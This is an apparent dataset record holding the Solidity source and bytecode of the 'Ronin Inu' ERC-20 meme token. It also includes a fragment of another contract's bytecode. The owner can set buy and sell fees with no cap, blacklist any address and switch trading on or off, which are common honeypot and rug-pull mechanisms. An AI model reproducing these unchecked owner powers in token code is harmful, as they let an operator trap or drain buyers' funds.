5083811015611749576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061179583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b8e565b905092915050565b60008054906101000a900460ff1661181d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f5061757361626c653a206e6f742070617573656400000000000000000000000081525060200191505060405180910390fd5b60008060006101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008054906101000a900460ff1615611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f5061757361626c653a207061757365640000000000000000000000000000000081525060200191505060405180910390fd5b60016000806101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25833604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a1565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f73656e64657220213d20736f757263650000000000000000000000000000000081525060200191505060405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a5f57600080fd5b816007541015611a6e57600080fd5b611a838260075461175390919063ffffffff16565b600781905550611adb82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175390919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000838311158290611c3b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611c00578082015181840152602081019050611be5565b50505050905090810190601f168015611c2d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea2646970667358221220bf148ef6b28fd1fc203510200c9e8b9fdc11581134c3aefd31724e8c95e82b1f64736f6c63430007010033
|
{"success": true, "error": null, "results": {}}
| 9,228 |
0x570025bb3768ebc5490847ac035714fa56a50797
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/**
telegram:https://t.me/RoninInu
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RoninInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Ronin Inu";
string private constant _symbol = "RONINU";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 333333333 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 13;
//Sell Fee
uint256 private _taxFeeOnSell = 13;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xA948c320Ac634d1505D8be1c89bF9359fBB8732e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 3333333 * 10**9;
uint256 public _maxWalletSize = 9999999 * 10**9;
uint256 public _swapTokensAtAmount = 3333333 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f70ccf7146105385780638f9a55c014610561576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612e46565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190612f17565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f6f565b61084e565b6040516102649190612fca565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f9190612fe5565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b89190613084565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906130ae565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e91906130c9565b61092a565b6040516103209190612fca565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906130ae565b60405180910390f35b34801561036057600080fd5b50610369610a09565b6040516103769190613138565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613162565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc91906131a9565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f5919061329a565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e919061331b565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613348565b610cd6565b005b34801561045a57600080fd5b506104756004803603810190610470919061331b565b610d6f565b60405161048291906130ae565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613375565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906130ae565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613162565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061055f600480360381019061055a9190613348565b610f9d565b005b34801561056d57600080fd5b50610576611036565b60405161058391906130ae565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190612f17565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613375565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f6f565b6110ff565b6040516106149190612fca565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f919061331b565b61111d565b6040516106519190612fca565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b50610698600480360381019061069391906133a2565b6111d2565b6040516106a591906130ae565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613375565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f9919061331b565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107739061342e565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a061344e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610805906134ac565b91505061077f565b5050565b60606040518060400160405280600981526020017f526f6e696e20496e750000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df9061342e565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6000610937848484611668565b6109f884610943611495565b6109f385604051806060016040528060288152602001613f9060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109a9611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a40611495565b73ffffffffffffffffffffffffffffffffffffffff16610a5e610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ab4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aab9061342e565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b17611495565b73ffffffffffffffffffffffffffffffffffffffff16610b35610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610b8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b829061342e565b60405180910390fd5b60005b84849050811015610bf857610be433868684818110610bb057610baf61344e565b5b9050602002016020810190610bc5919061331b565b858585818110610bd857610bd761344e565b5b90506020020135612062565b508080610bf0906134ac565b915050610b8e565b5050505050565b610c07611495565b73ffffffffffffffffffffffffffffffffffffffff16610c25610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c729061342e565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610cde611495565b73ffffffffffffffffffffffffffffffffffffffff16610cfc610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d499061342e565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc0611495565b73ffffffffffffffffffffffffffffffffffffffff16610dde610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610e34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2b9061342e565b60405180910390fd5b610e3e6000612235565b565b610e48611495565b73ffffffffffffffffffffffffffffffffffffffff16610e66610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb39061342e565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610efd611495565b73ffffffffffffffffffffffffffffffffffffffff16610f1b610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614610f71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f689061342e565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b610fa5611495565b73ffffffffffffffffffffffffffffffffffffffff16610fc3610ecc565b73ffffffffffffffffffffffffffffffffffffffff1614611019576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110109061342e565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600f5481565b60606040518060400160405280600681526020017f524f4e494e550000000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec9061342e565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b09061342e565b60405180910390fd5b60006111c430610d6f565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc9061342e565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113529061342e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613567565b60405180910390fd5b6000600460006113d9610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610ecc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906135f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115749061368b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165b91906130ae565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cf9061371d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f906137af565b60405180910390fd5b6000811161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178290613841565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561182f5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c8757600d60149054906101000a900460ff16611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a906138ad565b60405180910390fd5b600e548111156118c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bf90613919565b60405180910390fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561196c5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a2906139ab565b60405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611baa57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a695750600d60179054906101000a900460ff165b15611b52574260b4600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611abb91906139cb565b108015611b1257504260b4600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1091906139cb565b105b611b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4890613a93565b60405180910390fd5b5b600f5481611b5f84610d6f565b611b6991906139cb565b10611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba090613b25565b60405180910390fd5b5b6000611bb530610d6f565b9050600060105482101590506010548210611bd05760105491505b808015611bea5750600d60159054906101000a900460ff16155b8015611c445750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5c5750600d60169054906101000a900460ff165b15611c8457611c6a826122f9565b60004790506000811115611c8257611c814761260c565b5b505b50505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d2e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611de15750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611de05750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611def5760009050611f64565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611e9a5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ea9576006546008819055505b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f545750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f63576007546008819055505b5b42600260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ff884848484612678565b50505050565b6000838311158290612046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203d9190612f17565b60405180910390fd5b50600083856120559190613b45565b9050809150509392505050565b60006120ed826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061218282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161222291906130ae565b60405180910390a3600190509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6001600d60156101000a81548160ff021916908315150217905550600061233d606461232f6055856126fe90919063ffffffff16565b61277990919063ffffffff16565b90506000818361234d9190613b45565b905060004790506000600267fffffffffffff